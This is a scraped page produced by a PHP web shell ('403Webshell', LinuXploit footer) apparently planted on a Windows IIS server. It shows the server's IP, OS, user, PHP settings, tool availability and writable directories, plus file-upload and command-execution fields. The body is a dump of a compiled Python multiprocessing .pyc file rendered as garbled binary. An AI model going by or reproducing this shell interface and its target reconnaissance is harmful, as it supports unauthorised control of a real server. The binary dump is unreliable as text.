403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/multiprocessing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/multiprocessing/__pycache__/reduction.cpython-315.pyc
R
>lqj�&c��]QHGs]PHs]PHs]PHs]PHs]PHs]PHs]PH s]QH$G
s
,Q#Ns\OQ6H9%f6\
\Q29%c%\
\Q29%c\
\OQ2sQQ\O2s\O"sQ$Q	ks\OQ6Xc.\,Q%N*
s]PHLsQ&QP-QkksQ
sQsQsQQ
\2sL\,Q'N*
s]PHhsQsQsQsQsQsQsQQ2s\\ \2OB2\2Qs"\\ \#OH2\"2\\ \%OL2\"2Qs'Qs(\\OR\'2\OQ6XcQs*Qs+\\O\*2LQs*Qs+\\O\*2Q Q!\Q"5s,P!)(�)�ABCMeta)�context�ForkingPickler�win32�CMSG_LEN�
SCM_RIGHTS�sendmsgc�``�\sQs]!snQs-s\OsU1Qks	\
Q2s\
QQk2s\
OsQsUsU9s!)rz)Pickler subclass used by multiprocessing.c�:�[RU_UUOO2UmUOOUO2P!�N)�super�__init__�_copyreg_dispatch_table�copy�dispatch_table�update�_extra_reducers)�self�args�	__class__s&*��.C:\Python315\\Lib\multiprocessing\reduction.pyr
�ForkingPickler.__init__&sA���
���$��"�:�:�?�?�A������"�"�4�#7�#7�8�c�$�V OU$P!)z&Register a reduce function for a type.)r)�cls�type�reduces&&&r�register�ForkingPickler.register+s��%+���D�!rc�|�[O2oUV22OU2UO2!r)�io�BytesIO�dump�	getbuffer)r�obj�protocol�bufs&&& r�dumps�ForkingPickler.dumps0s,���j�j�l���C�����$��}�}��r)rr)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�copyregrrr
�classmethodrr'�pickle�loads�__static_attributes__�__classdictcell__�
__classcell__)r�
__classdict__s@@rrr!sS����3��O�%�4�4��9�
�+��+�����

�L�L�E�Erc�<�[V2OU2P!)z3Replacement for pickle.dump() using ForkingPickler.)rr")r$�filer%s&&&rr"r":s���4�"�'�'��,r�	DupHandle�source_processc��[O2oUeSoUeSo[OV0U]U[O2!)z<Duplicate a handle.  (target_process is a handle not a pid!))�_winapi�GetCurrentProcess�DuplicateHandle�DUPLICATE_SAME_ACCESS)�handle�target_process�inheritabler9�current_processs&&&$ r�	duplicaterCGsM��"�3�3�5���!�,�N��!�,�N��&�&��N�
�{�G�9�9�;�	;rc	�T�[O[OP
U2o[OV![O2]P
[O
[O*2[OU2![OS2h9h)z5Steal a handle from process identified by source_pid.)r;�OpenProcess�PROCESS_DUP_HANDLEr=r<r>�DUPLICATE_CLOSE_SOURCE�CloseHandle)�
source_pidr?�source_process_handles&& r�steal_handlerKSs|�� '� 3� 3��&�&��z�!;��	7��*�*�%��)�)�+�Q���-�-��0N�0N�N�P�

��� 5�6��G��� 5�6�s�AB�B'c�`�[U[OU2oUOU2P!�z&Send a handle over a local connection.)r8r;r>�send)�connr?�destination_pid�dhs&&& r�send_handlerR_s!��
�v�w�<�<�o�
N���	�	�"�
rc�@�UO2O2!�z)Receive a handle over a local connection.)�recv�detach)rOs&r�recv_handlerWds���y�y�{�!�!�#�#rc�6`�\sQs]hsnQsQQksQsQsUsP!)r8zPicklable wrapper for a handle.c�f�Ue[O2o[O[OP
U2o[O
[O2VUP
]2Um[OU2V m	V0m
P![OS2h9hr)�os�getpidr;rErFr=r<�_handlerH�_access�_pid)rr?�access�pid�procs&&&& rr
�DupHandle.__init__js����{��i�i�k���&�&�w�'A�'A�5�#�N�D�
*�&�6�6��-�-�/��&�%�� 4����#�#�D�)�!�L��I���#�#�D�)�s�2B�B0c���UO[O26Xc
UO![O
[OP
UO2o[OVO[O2UOP
[O2[OU2![OS2h9h)z1Get the handle.  This should only be called once.)r^rZr[r\r;rErFr=r<r]rGrH)rras& rrV�DupHandle.detachys����y�y�B�I�I�K�'��|�|�#��&�&�w�'A�'A�5�'+�y�y�2�D�
*��.�.��,�,��(A�(A�(C��L�L�%��)G�)G�I��#�#�D�)���#�#�D�)�s
�#AC�C )r]r\r^r)	r)r*r+r,r-r
rVr2r3�r5s@rr8r8hs����-�
	�	*�	*rc��[OQU2o[[U2Q*,2oUOU,[O
[OU1,2UO]2Q6wc[Q2gP!)z,Send an array of fds over an AF_UNIX socket.�i��Az%did not receive acknowledgement of fd)	�array�bytes�lenr�socket�
SOL_SOCKETrrU�RuntimeError)�sock�fds�msgs&& r�sendfdsrs�sn���k�k�#�s�#���S��X��^�$�%�����c�U�f�/�/��1B�1B�C�H�I�J��9�9�Q�<�4���F�G�G� rc��[OQ2oUOU*oUO][OU22vqEqgU%fU%f[
gUO
Q2[U2]6wc[Q[U2*2gU]*vq�o
U[O6Xc�U	[O6Xc�[U
2UO*]6wc[gUOU
2[U2Q*U]*6wc,[QO[U2U]*22g[U2![Q2g[[ 1cKh9h)z/Receive an array of fds over an AF_UNIX socket.rgrizreceived %d items of ancdatarhz Len is {0:n} but msg[0] is {1!r}zInvalid data received)rj�itemsize�recvmsgrm�
CMSG_SPACE�EOFErrorrNrlrornr�
ValueError�	frombytes�AssertionError�format�list�
IndexError)rp�size�a�
bytes_sizerr�ancdata�flags�addr�
cmsg_level�	cmsg_type�	cmsg_datas&&         r�recvfdsr��sA���K�K�����Z�Z�$�&�
�$(�L�L��F�4E�4E�j�4Q�$R�!��e��7��N�	�

�I�I�d�O��7�|�q� �"�#A�#&�w�<�$0�1�1�/6�q�z�,�J�9��f�/�/�/��V�.�.�.��y�>�A�J�J�.�!�3�$�$����I�&��q�6�C�<�3�q�6�)�(�:�A�A���F�C��F�,�-�-��A�w���2�3�3���J�'�	��	�s6�+ E4�;E4�E4� E4�>4E4�35E4�4F�F�Fc���[OUO2[O[O29^tt^2o[V1,2PPP2P!)%fhP!9hrM)rm�fromfd�fileno�AF_UNIX�SOCK_STREAMrs)rOr?rP�ss&&& rrRrR�sB��
�]�]�4�;�;�=�&�.�.�&�:L�:L�
M�
M�QR��A�x� �N�
M�
M�
M�s�
A#�#A4	�,A4	c��[OUO2[O[O29^tt^2o[U]2]*ttPPP2!)%fhP!9hrT)rmr�r�r�r�r�)rOr�s& rrWrW�sF��
�]�]�4�;�;�=�&�.�.�&�:L�:L�
M�
M�QR��1�a�=��#�N�
M�
M�
M�s�A*�*A;	�3A;	c���[O2oUd!UOUOU22![%c]QHGoUOU2![Q2g)zReturn a wrapper for an fd.)�resource_sharerz&SCM_RIGHTS appears not to be available)r�get_spawning_popen�DupFd�duplicate_for_child�HAVE_SEND_HANDLE�r�ry)�fd�	popen_objr�s&  rr�r��sV���.�.�0�	�� ��?�?�9�#@�#@��#D�E�E�
�
�)�"�(�(��,�,��E�F�Frc��UOe)[UOUOO11![UOUOO11!r)�__self__�getattrr�__func__r)��ms&r�_reduce_methodr��sH���z�z������a�j�j�&9�&9�:�:�:�����Q�Z�Z�%8�%8�9�9�9rc�(`�\sQs]�snQsQsUsP!)�_Cc��P!r�)rs&r�f�_C.f�s��rr�)r)r*r+r,r�r2r3res@rr�r��s����
�
rr�c�@�[UOUO11!r)r��__objclass__r)r�s&r�_reduce_method_descriptorr��s���Q�^�^�Q�Z�Z�0�0�0rc�j�[UOUOUO9%f-11!r)�_rebuild_partial�funcr�keywords)�ps&r�_reduce_partialr��s(���a�f�f�a�f�f�a�j�j�.>�.>�B�?�?�?rc�:�[OU,UN3-U@!r)�	functools�partial)r�rr�s&&&rr�r��s�����T�5�D�5�H�5�5rc�.�]QHGo[UU211!)�)�	DupSocket)r�r��_rebuild_socket)r�r�s& r�_reduce_socketr��s��.���1���/�/rc�$�UO2!r)rV)�dss&rr�r��s���y�y�{�rc��[UO22o[VOUOUO
11!r)r�r�r��familyr�proto)r��dfs& rr�r��s0��
�1�8�8�:�
����X�X�q�v�v�q�w�w� ?�?�?rc�T�UO2o[OVV4Q5!))r�)rVrm)r�r�rr�r�s&&&& rr�r��s��
�Y�Y�[���}�}�V�5�<�<rc�`�\sQs]�snQs\s\s\s\s\	s	\
OQ6Xc\s\
s
\sL\s\s\s\s\s\s\s\sQsQsUsP!)�AbstractReducerz�Abstract base class for use in implementing a Reduction class
suitable for use in replacing the standard reduction mechanism
used in multiprocessing.rc�r�[[[2O2[2[[[
O2[2[[[O2[2[[O[2[[O[2P!r)rrr�r�r�r}�appendr��int�__add__r�r�r�rmr�)rrs&*rr
�AbstractReducer.__init__s\����b�d�f�f��~�.���d�k�k�"�$=�>���c�k�k�"�$=�>���"�"�O�4������/rr�)r)r*r+r,r-rrr"rRrW�sys�platformrKrCr8rsr�r�r�r�r�r�r�r
r2r3res@rr�r��st���� �$�N��H��D��K��K�
�|�|�w��#���	��	�������#�N� 9��'��#�N�%�O�0�0rr�)�	metaclass)rRrWrrr"r)r8rCrK)NF)r�rsr�)-�abcrr.r�r rZr0rmr�r�r�__all__r��hasattrr��Picklerrrr"r;rCrKrRrW�objectr8rjrsr�r�r�r�rr�r�r}r�r�r�r�r�r�r�r�r�r�rr�<module>r�s������	�	�
�
�
��
N���L�L�G�+�8�8��V�Z�0�7�7��V�\�2�7�7��V�]�]�I�6���V�^�^��.�"�"��-��<�<�7���9�9�G��
;�$(�
;�
7��
$�*�F�*�F�.�.�G��H�4�>!�
$�
	G�:�

�
�	��b�d�f�f��~�&�1���d�k�k�	�5�6���c�k�k�	�5�6�@�6���	�	�O�,��<�<�7��0���V�]�]�N�+�@�=�
�V�]�]�N�+�0��0r

Youez - 2016 - github.com/yon3zu
LinuXploit